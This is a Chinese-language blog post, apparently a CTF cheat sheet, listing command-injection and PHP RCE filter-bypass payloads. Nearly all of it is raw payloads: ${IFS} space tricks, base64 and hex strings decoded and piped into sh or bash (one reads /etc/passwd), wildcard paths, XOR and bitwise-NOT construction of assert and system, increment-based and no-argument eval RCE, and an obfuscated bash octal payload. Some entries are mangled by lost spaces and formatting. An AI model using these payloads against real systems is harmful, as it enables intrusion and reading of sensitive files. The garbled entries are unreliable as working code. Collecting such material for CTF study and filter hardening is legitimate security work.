命令执行绕过姿势(持续更新)
绕过空格过滤的方法
\${IFS}\$9 |
禁用cat的方法
ps:有时会禁用cat: |
内联执行绕过
?ip=127.0.0.1;cat\$IFS\$9\`ls\` |
变量拼接
?ip=127.0.0.1;a=g;cat\$IFS\$1fla\$a.php |
Base64编码
?ip=127.0.0.1;echo\$IFS\$1Y2F0IGZsYWcucGhw\|base64\$IFS\$1-d\|sh |
进制绕过
\$(printf"\\154\\163") \#八进制的ls命令 |
利用hex编码(十六进制)绕过
echo"636174202F6574632F706173737764"\|xxd-r-p\|bash//hex编码后的0x不需要输入。 |
利用拼接绕过
(sy.(st).em)(whoami);// |
过滤了斜杠‘/’
可利用';'拼接命令绕过 |
通配符绕过
???/e??/?a???? |
glob通配符
catf[a-z]ag |
异或绕过(无数字字母)
*import*re |
|
|
构造assert(无数字字母)
\$_=\~(%9E%8C%8C%9A%8D%8B);//这里利用取反符号把它取回来,\$_=assert |
无参数session rce(php<7
简单解释一下这串代码。这串代码就是检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空。如果替换后的字符串只剩下;,那么我们传进去的exp就会被eval执行。比如我们传入一个phpinfo();,那么就会执行phpinfo() |
但是这样只能执行phpinfo,无法进行ls或者其他命令,这时候利用sessionrce |
?code=show_source(session_id(session_start())); |
利用eval()函数 |
无参数全局变量RCE
?code=eval(end(pos(get_defined_vars())));&xxx=system('ls'); |
无参数scandir读取
scandir()只能进行文件读取 |
查看上级目录文件 |
查看根目录名(随机) |
取反绕过(无数字字母)
num_strings = int(input("请输入要拼接的字符串个数,比如phpinfo就1个,readfile index.php或者readfile /flag就2个: |
(\~%8D%9A%9E%9B%99%96%93%9A)(\~%99%93%9E%98); |
readfile /flag |
(\~%8D%9A%9E%9B%99%96%93%9A)(\~%D0%99%93%9E%98); |
取反、异或构造assert木马(无数字字母)
num_strings = int(input("请输入要拼接的字符串个数,比如phpinfo就1个,readfile index.php或者readfile /flag就2个: ")) |
?code=(\~%9E%8C%8C%9A%8D%8B)(\~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); |
('%01%0C%0C%05%0D%08'\^'%60%7F%7F%60%7F%7C')("%00%05%09%01%0C%00%01%00%0C%0F%0C%08%04%03%0D%04%01%00%00"\^"%28%60%7F%60%60%28%25_%5C%40_%5C_%60%60%60%5C%29%29"); |
post参数自传
code=echo \`\$_POST[1]\`;&1=cat /f\* |
自增绕过
ctf_show=\$_=[].'';\$_=\$_[''=='\$'];\$____='_';\$__=\$_;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$____.=\$__;\$__=\$_;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$____.=\$__;\$__=\$_;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$____.=\$__;\$__=\$_;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$____.=\$__;\$_=\$____;\$\$_[__](\$\$_[_]);&__=system&_=cat /f1agaaa |
利用~()$构造八进制payload
*\#最终payload* |
\$0\<\<\<\$0\\\<\\\<\\\<\$\\'\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\' |
利用数学函数绕过
c=\$pi=base_convert(37907361743,10,36)(dechex(1598506324));(\$\$pi){pi}((\$\$pi){abs})&pi=system&abs=cat /flag |
嵌套php函数、eval函数
\#嵌套php函数 |
getallheaders()
payload: |
其他:
catfl\*用\*匹配任意 |
CTF题目中积累的:
1、通配符绕过:
?\>\<?=\`/???/???%20/???/???/????/\*\`?\> |
2、取反绕过:
?code=(\~%8D%9A%9E%9B%99%96%93%9A)(\~%99%93%9E%98%D1%8F%97%8F) |
3、变量动态调用函数+数学函数替换
?c=\$pi=base_convert(37907361743,10,36)(dechex(1598506324));(\$\$pi){pi}((\$\$pi){abs})&pi=system&abs=cat/flag |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 做 讓 人 远 远 聽 見 的 風!
评论